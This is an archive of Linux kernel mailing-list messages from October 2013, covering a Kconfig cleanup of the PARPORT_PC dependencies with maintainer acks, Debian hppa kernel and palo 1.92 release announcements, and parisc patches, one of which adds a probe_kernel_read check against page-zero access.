CC: linux-ia64@vger.kernel.org
CC: Geert Uytterhoeven <geert@linux-m68k.org>
CC: linux-m68k@lists.linux-m68k.org
CC: Michal Simek <monstr@monstr.eu>
CC: microblaze-uclinux@itee.uq.edu.au
CC: Ralf Baechle <ralf@linux-mips.org>
CC: linux-mips@linux-mips.org
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: Helge Deller <deller@gmx.de>
CC: linux-parisc@vger.kernel.org
CC: Benjamin Herrenschmidt <benh@kernel.crashing.org>
CC: Paul Mackerras <paulus@samba.org>
CC: linuxppc-dev@lists.ozlabs.org
CC: Paul Mundt <lethal@linux-sh.org>
CC: linux-sh@vger.kernel.org
CC: "David S. Miller" <davem@davemloft.net>
CC: sparclinux@vger.kernel.org
CC: Guan Xuetao <gxt@mprc.pku.edu.cn>
CC: Thomas Gleixner <tglx@linutronix.de>
CC: Ingo Molnar <mingo@redhat.com>
CC: "H. Peter Anvin" <hpa@zytor.com>
CC: x86@kernel.org
---
 drivers/parport/Kconfig | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/drivers/parport/Kconfig b/drivers/parport/Kconfig
index 70694ce..a079b18 100644
--- a/drivers/parport/Kconfig
+++ b/drivers/parport/Kconfig
@@ -31,13 +31,17 @@ menuconfig PARPORT
 
 	  If unsure, say Y.
 
+config ARCH_MAY_HAVE_PC_PARPORT
+	bool
+	help
+	  Select this config option from the architecture Kconfig if
+	  the architecture may have PC parallel port hardware.
+
 if PARPORT
 
 config PARPORT_PC
 	tristate "PC-style hardware"
-	depends on (!SPARC64 || PCI) && !SPARC32 && !M32R && !FRV && !S390 && \
-		(!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN && \
-		!XTENSA && !CRIS && !H8300
+	depends on ARCH_MAY_HAVE_PC_PARPORT
 
 	---help---
 	  You should say Y here if you have a PC-style parallel port. All
-- 
1.8.3.1




From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uclinux.microblaze,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH v2 14/14] Kconfig cleanup (PARPORT_PC dependencies)
Date: Tue, 8 Oct 2013 07:46:10 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <20131008054610.GE14353@gmail.com>
References: <1381209030-351-1-git-send-email-msalter@redhat.com>
 <1381209030-351-15-git-send-email-msalter@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381211203 18696 80.91.229.3 (8 Oct 2013 05:46:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Oct 2013 05:46:43 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Paul Mackerras <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
 Russell King <linux@arm.linux.org.uk>, Helge Deller <deller@gmx.de>,
 x86@kernel.org, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
 Fenghua Yu <fenghua.yu@intel.com>, microblaze-uclinux@itee.uq.edu.au,
 Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lists.infradead.org,
 Richard Henderson <rth@twiddle.net>, Michal Simek <monstr@monstr.eu>,
 Tony Luck <tony.luck@intel.com>, linux-parisc@vger.kernel.org,
 Vineet Gupta <vgupta@synopsys.com>, linux-kernel@vger.kernel.org,
 Ralf Baechle <ralf@linux-mips.org>, Paul Mundt <lethal@linux-sh.org>,
 linux-alpha@vger.ke
To: Mark Salter <msalter@redhat.com>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue Oct 08 07:46:45 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1VTQ83-0005Ll-Cm
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 08 Oct 2013 07:46:44 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id A7E2F2C03E5
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue,  8 Oct 2013 16:46:39 +1100 (EST)
Original-Received: from mail-ee0-x236.google.com (mail-ee0-x236.google.com
 [IPv6:2a00:1450:4013:c00::236])
 (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits))
 (Client CN "smtp.gmail.com",
 Issuer "Google Internet Authority G2" (not verified))
 by ozlabs.org (Postfix) with ESMTPS id 47BFD2C009C
 for <linuxppc-dev@lists.ozlabs.org>; Tue,  8 Oct 2013 16:46:19 +1100 (EST)
Original-Received: by mail-ee0-f54.google.com with SMTP id e53so3752161eek.13
 for <linuxppc-dev@lists.ozlabs.org>; Mon, 07 Oct 2013 22:46:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=sender:date:from:to:cc:subject:message-id:references:mime-version
 :content-type:content-disposition:in-reply-to:user-agent;
 bh=u1VwJ2ScCHiWhcPimb/lG2HPNOjvvzgWSeDmG7g9ItA=;
 b=g6QEpctE2oWBL9gmssEHhBtwf8NKnezwFOUZcoKm2lqP6z14XzvdBUObExeqGHIE87
 WjjkUWU2hYtprP8S1AVxNPe5ZCGxY9lk1M1NDrb3emOLmL3UW8ooRGUSySvhraPkBKjR
 8PCLDckigbzIs5mHVKB8NwK5Fz9TbUY6UurUcWv+Fw19Feoe5qIXad1oFaGPFUwFjTLP
 dUEIf9+Vah74IqQQOzMjC5NTEqkK0Iv/9r2fET6Z1hhCbLcoJg/J+AZ7YeJAenTw7+tD
 oT353LJY3diBKTAMfjlAQJVSNfXEUjp8VFAQqG2chFZXTrlp3DzLabCmesSaFqJPsZLo
 E0/Q==
X-Received: by 10.14.3.9 with SMTP id 9mr295077eeg.72.1381211173800;
 Mon, 07 Oct 2013 22:46:13 -0700 (PDT)
Original-Received: from gmail.com (BC24D856.catv.pool.telekom.hu. [188.36.216.86])
 by mx.google.com with ESMTPSA id a43sm71536301eep.9.1969.12.31.16.00.00
 (version=TLSv1 cipher=RC4-SHA bits=128/128);
 Mon, 07 Oct 2013 22:46:13 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1381209030-351-15-git-send-email-msalter@redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.16rc2
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:64926 gmane.linux.ports.mips.general:39390 gmane.linux.ports.m68k:5216 gmane.linux.ports.ia64:23430 gmane.linux.ports.sh.devel:27701 gmane.linux.ports.sparc:18343 gmane.linux.uclinux.microblaze:12077 gmane.linux.ports.arm.kernel:271502 gmane.linux.ports.parisc:5363 gmane.linux.kernel:1574500 gmane.linux.ports.alpha:2148
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/64926>


* Mark Salter <msalter@redhat.com> wrote:

> Remove messy dependencies from PARPORT_PC by having it depend on one
> Kconfig symbol (ARCH_MAY_HAVE_PC_PARPORT) and having architectures
> which need it, select ARCH_MAY_HAVE_PC_PARPORT in arch/*/Kconfig.
> New architectures are unlikely to need PARPORT_PC, so this avoids
> having an ever growing list of architectures to exclude. Those
> architectures which do select ARCH_MAY_HAVE_PC_PARPORT in this
> patch are the ones which have an asm/parport.h (or use the generic
> version).
> 
> Signed-off-by: Mark Salter <msalter@redhat.com>
> CC: Richard Henderson <rth@twiddle.net>
> CC: linux-alpha@vger.kernel.org
> CC: Vineet Gupta <vgupta@synopsys.com>
> CC: Russell King <linux@arm.linux.org.uk>
> CC: linux-arm-kernel@lists.infradead.org
> CC: Tony Luck <tony.luck@intel.com>
> CC: Fenghua Yu <fenghua.yu@intel.com>
> CC: linux-ia64@vger.kernel.org
> CC: Geert Uytterhoeven <geert@linux-m68k.org>
> CC: linux-m68k@lists.linux-m68k.org
> CC: Michal Simek <monstr@monstr.eu>
> CC: microblaze-uclinux@itee.uq.edu.au
> CC: Ralf Baechle <ralf@linux-mips.org>
> CC: linux-mips@linux-mips.org
> CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
> CC: Helge Deller <deller@gmx.de>
> CC: linux-parisc@vger.kernel.org
> CC: Benjamin Herrenschmidt <benh@kernel.crashing.org>
> CC: Paul Mackerras <paulus@samba.org>
> CC: linuxppc-dev@lists.ozlabs.org
> CC: Paul Mundt <lethal@linux-sh.org>
> CC: linux-sh@vger.kernel.org
> CC: "David S. Miller" <davem@davemloft.net>
> CC: sparclinux@vger.kernel.org
> CC: Guan Xuetao <gxt@mprc.pku.edu.cn>
> CC: Thomas Gleixner <tglx@linutronix.de>
> CC: Ingo Molnar <mingo@redhat.com>
> CC: "H. Peter Anvin" <hpa@zytor.com>
> CC: x86@kernel.org
> ---
>  drivers/parport/Kconfig | 10 +++++++---
>  1 file changed, 7 insertions(+), 3 deletions(-)
> 
> diff --git a/drivers/parport/Kconfig b/drivers/parport/Kconfig
> index 70694ce..a079b18 100644
> --- a/drivers/parport/Kconfig
> +++ b/drivers/parport/Kconfig
> @@ -31,13 +31,17 @@ menuconfig PARPORT
>  
>  	  If unsure, say Y.
>  
> +config ARCH_MAY_HAVE_PC_PARPORT
> +	bool
> +	help
> +	  Select this config option from the architecture Kconfig if
> +	  the architecture may have PC parallel port hardware.
> +
>  if PARPORT
>  
>  config PARPORT_PC
>  	tristate "PC-style hardware"
> -	depends on (!SPARC64 || PCI) && !SPARC32 && !M32R && !FRV && !S390 && \
> -		(!M68K || ISA) && !MN10300 && !AVR32 && !BLACKFIN && \
> -		!XTENSA && !CRIS && !H8300
> +	depends on ARCH_MAY_HAVE_PC_PARPORT
>  
>  	---help---
>  	  You should say Y here if you have a PC-style parallel port. All

Since it's not a permission to have a parallel port but a possibility,
I suspect the whole series needs a:

  s/MAY_HAVE/MIGHT_HAVE
  s/may have/might have

Otherwise:

  Acked-by: Ingo Molnar <mingo@kernel.org>

Thanks,

	Ingo

From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 14/14] Kconfig cleanup (PARPORT_PC dependencies)
Date: Tue, 8 Oct 2013 09:00:54 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20131008070054.GE1615@linux-mips.org>
References: <1381209030-351-1-git-send-email-msalter@redhat.com>
 <1381209030-351-15-git-send-email-msalter@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381215705 31439 80.91.229.3 (8 Oct 2013 07:01:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Oct 2013 07:01:45 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Richard Henderson <rth@twiddle.net>,
	linux-alpha@vger.kernel.org, Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@arm.linux.org.uk>,
	linux-arm-kernel@lists.infradead.org,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>, linux-ia64@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	linux-m68k@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
	microblaze-uclinux@itee.uq.edu.au, linux-mips@linux-mips.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@lists.ozlabs.org, Paul Mundt <lethal@linux-sh.org>,
	linux-sh@vger.kernel.org, "David S. Miller" <davem@davemloft.net>,
	sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Thomas Gleixner <tgl
To: Mark Salter <msalter@redhat.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Oct 08 09:01:45 2013
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1VTRIe-0007HU-To
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 08 Oct 2013 09:01:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753089Ab3JHHBl (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 8 Oct 2013 03:01:41 -0400
Original-Received: from eddie.linux-mips.org ([78.24.191.182]:58096 "EHLO
	cvs.linux-mips.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752789Ab3JHHBk (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 8 Oct 2013 03:01:40 -0400
Original-Received: from localhost.localdomain ([127.0.0.1]:37669 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S6868758Ab3JHHBj0iPyk (ORCPT <rfc822;sparclinux@vger.kernel.org>
        + 6 others); Tue, 8 Oct 2013 09:01:39 +0200
Original-Received: from scotty.linux-mips.net (localhost.localdomain [127.0.0.1])
        by scotty.linux-mips.net (8.14.7/8.14.4) with ESMTP id r9871Er4009525;
        Tue, 8 Oct 2013 09:01:14 +0200
Original-Received: (from ralf@localhost)
        by scotty.linux-mips.net (8.14.7/8.14.7/Submit) id r9870sHq009493;
        Tue, 8 Oct 2013 09:00:54 +0200
Content-Disposition: inline
In-Reply-To: <1381209030-351-15-git-send-email-msalter@redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:23432 gmane.linux.kernel:1574529 gmane.linux.ports.alpha:2149 gmane.linux.ports.arm.kernel:271516 gmane.linux.ports.m68k:5217 gmane.linux.uclinux.microblaze:12078 gmane.linux.ports.mips.general:39391 gmane.linux.ports.parisc:5364 gmane.linux.ports.ppc64.devel:96434 gmane.linux.ports.sh.devel:27718 gmane.linux.ports.sparc:18344
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/23432>

On Tue, Oct 08, 2013 at 01:10:30AM -0400, Mark Salter wrote:

> Remove messy dependencies from PARPORT_PC by having it depend on one
> Kconfig symbol (ARCH_MAY_HAVE_PC_PARPORT) and having architectures
> which need it, select ARCH_MAY_HAVE_PC_PARPORT in arch/*/Kconfig.
> New architectures are unlikely to need PARPORT_PC, so this avoids
> having an ever growing list of architectures to exclude. Those
> architectures which do select ARCH_MAY_HAVE_PC_PARPORT in this
> patch are the ones which have an asm/parport.h (or use the generic
> version).

Acked-by: Ralf Baechle <ralf@linux-mips.org>

  Ralf
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: New hppa kernel packages uploaded (3.10.11, aka 3.10-3) to parisc archives
Date: Tue, 8 Oct 2013 19:41:12 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <BLU0-SMTP850C7B9645BBBC4DF76FD0971C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381275689 21500 80.91.229.3 (8 Oct 2013 23:41:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Oct 2013 23:41:29 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 09 01:41:32 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VTguC-000814-CR
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Oct 2013 01:41:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755781Ab3JHXlb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Oct 2013 19:41:31 -0400
Original-Received: from blu0-omc4-s11.blu0.hotmail.com ([65.55.111.150]:43597 "EHLO
	blu0-omc4-s11.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755492Ab3JHXla (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Oct 2013 19:41:30 -0400
Original-Received: from BLU0-SMTP85 ([65.55.111.137]) by blu0-omc4-s11.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 8 Oct 2013 16:41:30 -0700
X-TMN: [hIp+zOzNY4bn/av2BTeeYFEbgLRrrYVk]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.172]) by BLU0-SMTP85.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 8 Oct 2013 16:41:29 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 08 Oct 2013 23:41:29.0422 (UTC) FILETIME=[E94AFEE0:01CEC47F]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5365 gmane.linux.debian.ports.hppa:7011
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5365>

I have upload a new Debian kernel build (3.10.11) to the parisc archive:
deb http://ftp.parisc-linux.org/debian-ports/unstable  unstable main

Except for linux-image-3.10-3-parisc-smp, the packages have been boot
tested on c3750 and rp3440.

Enjoy,
Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: New palo version 1.92 handles long kernel command lines
Date: Wed, 09 Oct 2013 22:03:25 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <5255B68D.7090009@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381349030 19707 80.91.229.3 (9 Oct 2013 20:03:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Oct 2013 20:03:50 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 09 22:03:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VTzz4-0006yy-Rg
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Oct 2013 22:03:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755221Ab3JIUDm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Oct 2013 16:03:42 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:62324 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752357Ab3JIUD2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Oct 2013 16:03:28 -0400
Original-Received: from [192.168.178.60] ([84.173.43.182]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0Lcj9b-1WAzdp2sOF-00k7dF for
 <linux-parisc@vger.kernel.org>; Wed, 09 Oct 2013 22:03:26 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:AfNJwHf9DVWxcLH6iHqEVVHQIMQjjd7CLNOId8FnEwva24dAThP
 sXAmY7JhRE8oyrtk60Nx9bBXCVP9tJZMOol0CQkIxtNi7EDuPn3kngFrwmwq2KSAg4h1t10
 oOiWjaTtHaEspmh2FPkRXAu9ZHuZBUB4TBjVXgCJZCXb9oqPE9tc7tx8U4xt74KevpSokYK
 nJSyUrJKikFO2K7ugFDyA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5366
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5366>

Hi all,

I've uploaded a new palo version 1.92 to the debian archive at 
parisc-linux.org which is able to handle kernel command line
lengths of up to a total of 1024 bytes.
This should resolve some problems if you e.g. want to provide the
UUID of hard disks on the kernel command line.

Please let me know if you see any problems.

A precompiled version is here:
http://www.parisc-linux.org/~deller/palo_1.92_hppa.deb

And the source is currently in the "cmdline" branch of
http://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/
and will be merged into the master branch during the next few days.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: let probe_kernel_read() capture access to page zero
Date: Wed, 9 Oct 2013 23:53:18 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20131009215318.GA30131@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381355602 29200 80.91.229.3 (9 Oct 2013 21:53:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Oct 2013 21:53:22 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 09 23:53:24 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VU1h5-00078Y-RX
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Oct 2013 23:53:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753980Ab3JIVxX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Oct 2013 17:53:23 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:54978 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753532Ab3JIVxW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Oct 2013 17:53:22 -0400
Original-Received: from p100.box ([84.173.43.182]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0M6ilI-1VfuGy1p4O-00wWBv for
 <linux-parisc@vger.kernel.org>; Wed, 09 Oct 2013 23:53:20 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:Jjgwn7kK0K1wgz5CLfHAU0XtIeKi9IRGWyr/Dr5AR7Y5so3AHLV
 c/XQ6+A9dL8ZvAB1QsX6MTZvTDaFNi9l8gG97BQDCqn+/UU0iIZyXrBNnw/1Kf1kDOmQseA
 j/0KJiQC+mg7nEiRADvd83gGXr0IHS005HxmH1ADxKnjAesPgWQOKdylAkyCVCe85lue2b7
 /evno9uTTxsHSKu6k4j7A==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5367
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5367>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index ac4370b..b5507ec 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -56,7 +56,7 @@
 #ifdef __KERNEL__
 #include <linux/module.h>
 #include <linux/compiler.h>
-#include <asm/uaccess.h>
+#include <linux/uaccess.h>
 #define s_space "%%sr1"
 #define d_space "%%sr2"
 #else
@@ -524,4 +524,17 @@ EXPORT_SYMBOL(copy_to_user);
 EXPORT_SYMBOL(copy_from_user);
 EXPORT_SYMBOL(copy_in_user);
 EXPORT_SYMBOL(memcpy);
+
+long probe_kernel_read(void *dst, const void *src, size_t size)
+{
+	unsigned long addr = (unsigned long)src;
+
+	if (size < 0 || addr < PAGE_SIZE)
+		return -EFAULT;
+
+	/* check for I/O space F_EXTEND(0xfff00000) access as well? */
+
+	return __probe_kernel_read(dst, src, size);
+}
+
 #endif
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: call set_irq_regs() after disabling local irqs
Date: Wed, 9 Oct 2013 23:54:13 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20131009215413.GA30163@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381355656 29788 80.91.229.3 (9 Oct 2013 21:54:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Oct 2013 21:54:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 09 23:54:19 2013
